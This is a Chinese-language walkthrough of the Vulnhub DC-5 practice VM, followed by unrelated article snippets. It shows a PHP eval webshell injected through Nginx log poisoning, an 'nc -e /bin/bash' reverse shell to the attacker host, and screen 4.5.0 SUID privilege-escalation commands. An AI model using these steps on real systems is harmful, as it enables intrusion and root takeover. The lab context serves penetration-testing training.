DC-5-screen提权

news/2024/10/11 2:19:42

Vulnhub简介

Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,需要使用VMware或者是VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚拟机到获取操作系统的root权限和查看flag。

靶场部署

vulnhub官网:https://www.vulnhub.com/
1、直接从官网下载做好的虚拟机镜像文件(推荐下载Mirror版本);
2、解压会得到一个.ova的文件,然后在VMware中打开即可;

DC-5简介

DC-5是另一个专门建造的易受攻击的实验室,旨在获得渗透测试领域的经验。据我所知,只有一个可以利用的入口点(也没有SSH)。这个特定的入口点可能很难识别,但它确实存在。你需要寻找一些不寻常的东西(一些随着页面的刷新而改变的东西)。这将有望为漏洞可能涉及的问题提供一些思路。这个挑战的最终目标是获得root权限并阅读唯一的flag。
下载地址:https://www.vulnhub.com/entry/dc-5,314/

信息收集

1.探测靶机地址

arp-scan -l

image.png

2.探测靶机开放端口

image.png
111端口没有什么可以利用的点,只有80端口了,访问一下80端口
得知:网站使用的是Nginx的中间件,php语言
image.png在Contact页面发现一个有交互的地方
image.png
在Contact模块下可以留言,随便填写一下提交
发现刷新页面会更新页脚
image.png

3.dirsearch扫描

dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件。

apt-get install dirsearch
dirsearch -u http://192.168.75.157

image.png
扫描到thankyou.php文件和footer.php,访问一下footer.php,发现该文件的内容就是之前提交之后下方显示的时间,这样的话thankyou.php中应该包含了footer.php,所以thankyou.php文件应该是存在文件包含漏洞
image.png

文件包含漏洞的利用

什么是本地文件包含(LFI)漏洞?


LFI允许攻击者通过浏览器包含一个服务器上的文件。当一个WEB应用程序在没有正确过滤输入数据的情况下,就有可能存在这个漏洞,该漏洞允许攻击者操纵输入数据、注入路径遍历字符、包含web服务器的其他文件。
(详细了解请访问:https://www.bugku.com/thread-19-1-1.html)
我们用burpsuite遍历一下变量名,得知是file
image.png
file确实是文件包含的参数,这是一个Linux系统
除了这样验证,还可以使用PHP伪协议读取thankyou.php代码来查看是否存在文件包含漏洞

http://192.168.75.157/thankyou.php?file=php://filter/read=convert.base64-encode/resource=thankyou.php

image.png

Nginx日志文件写入shell

读取nginx配置文件信息,发现nginx日志记录文件路径

#nginx配置文件路径 /etc/nginx/nginx.conf
#nginx日志文件路径
/var/log/nginx/error.log
/var/log/nginx/access.log

image.png
通过包含nginx日志getshell,nginx在linux下的默认路径/var/log/nginx/,先在thankyou.php中file参数输入一句话

thankyou.php?file=<?php @eval($_POST[8]);?>

而这句话会引起报错thankyou.php报错,这个时候再去包含error.log,即可成功getshell
image.png
image.png

反弹shell

反弹shell,由于目标环境存在nc,直接nc反弹

nc -e /bin/bash 192.168.75.150 4444

image.png
成功得到shell,切换到bash外壳

python -c 'import pty;pty.spawn("/bin/bash")'

image.png

提权

查找具有SUID权限的文件

#这两个命令都可以查找
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

suid用来提权的一般有:nmap 、vim、 find、 bash、 more 、less、 nano 、cp
但是都没有这些命令,有一个奇怪的screen-4.5.0,所以可以用这个来提权


GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。
GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
image.png
使用命令searchsploit来查询漏洞利用的脚本

searchsploit screen 4.5.0

image.png
查看一下脚本的使用

cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
cat 41154.sh

大概的步骤是分别将两部分的c代码编译为可执行文件,然后将其上传靶机,按照提示的命令进行提权
第一步
将第一部分的c代码放入libhax.c文件中进行编译
命令:gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
第二步
将第二部分c代码放入rootshell.c文件中进行编译
命令:gcc -o /tmp/rootshell /tmp/rootshell.c
第三步
将编译好的可执行文件上传到靶机的tmp目录下
第四步
按照脚本提示的命令进行提权

步骤一

直接复制下面红线框中的代码,然后再终端中输入,就可以建立libhax.c和rootshell.c两个文件
image.png
image.png

步骤二

使用以下命令编译c文件

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c

步骤三

将文件传输到目标机的tmp文件夹(记得kali和靶机都是在tmp目录下进行操作,因为tmp目录的权限很大)
image.png

步骤四

根据提权说明
首先输入命令:cd /etc
然后输入命令:umask 000
然后输入命令:screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
然后输入命令:screen -ls
最后输入命令:/tmp/rootshell
成功提权

image.png
得到flag,在root目录下
image.png

知识点总结

  1. 端口扫描,熟悉常见的端口
  2. 目录扫描,工具有:御剑、dirsearch、DirBuster等等
  3. 文件包含漏洞及其利用
  4. searchsploit命令的使用
  5. screen提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/27568.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

洛谷P2375 [NOI2014] 动物园

动物园 题目描述输入格式输出格式输入输出样例 输入 3 aaaaa ab abcababc 输出 36 1 32 开始时都没看出来这是kmp板子题 先看看AC代码吧 #include<bits/stdc++.h> #define ll long long using namespace std; const int maxn=1e6+10; const int mod=1e9+7; char a[maxn];…

List的remove()方法详解

https://blog.csdn.net/anxin_hw/article/details/128312846 一、错误使用场景 1、普通for循环遍历List删除指定元素,list.remove(index) 示例:将姓张的名字移除掉List<String> nameList = new ArrayList<>(Arrays.asList("张三", "李四", &…

软考备考1

【BV1Qc411G7fB】考试形式 考45分就行上午-计算机与软件工程知识-150分钟,笔试,选择题-75分还有5分时专业英语,,一篇文章挖5个空下午-软件设计-150分钟-笔试-简答题-75分三个复习阶段考点理论学习——建立理论框架 题型全覆盖——考试全部题型了然于胸 真题强化训练——适应…

AWVS

工具说明 Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的Web网络漏洞扫描工具,他通过网络爬虫测试你的网站安全,检测流行安全漏洞。 AWVS可以通过SQL注入攻击、XSS(跨站脚本攻击)、目录遍历、代码执行等漏洞来审核Web应用程序的安全性并输出扫描报告。相对于…

树状数组(二维偏序)

题目链接 https://leetcode.cn/problems/maximum-sum-queries/description/ 题目大意题目思路 二维偏序问题 -> 一维排序,一维树状数组! 题目代码 class Solution { public:int sz;vector<int> tr;int lowbit(int x){return x & -x;}void update(int x,int k){f…

游戏排名算法:Elo、Glicko、TrueSkill

Elo rating system Elo等级分制度(英语:Elo rating system)是指由匈牙利裔美国物理学家Arpad Elo创建的一个衡量各类对弈活动水平的评价方法,是当今对弈水平评估公认的权威标准。 两个选手(player)在排名系统的不同,可以用来预测比赛结果。两个具有相同排名(rating)的…

lxc容器没有cron的解决办法

简介 我经常使用cron定时脚本来更新我的cloudflare ddns。 最近想着把pve上跑着的fedora,切换到lxc容器试试。 结果就遇到了没有cron的尴尬。 安装 dnf search crontab dnf install cronatbs启动 systemctl start crond 自启动 systemctl enable crond 小结 主要就是search找一…

视频局部打马赛克

给视频局部打马赛克,用手机APP剪映,操作如下: 1、打开剪映APP,点击“开始创作”,选择需要打马的视频; 2、点击下方“特效”工具-->选“画面特效”-->“基础”-->搜索“马赛克”,添加马赛克特效; 3、成功添加“马赛克”特效到创作区,根据自己需要拉长或缩短…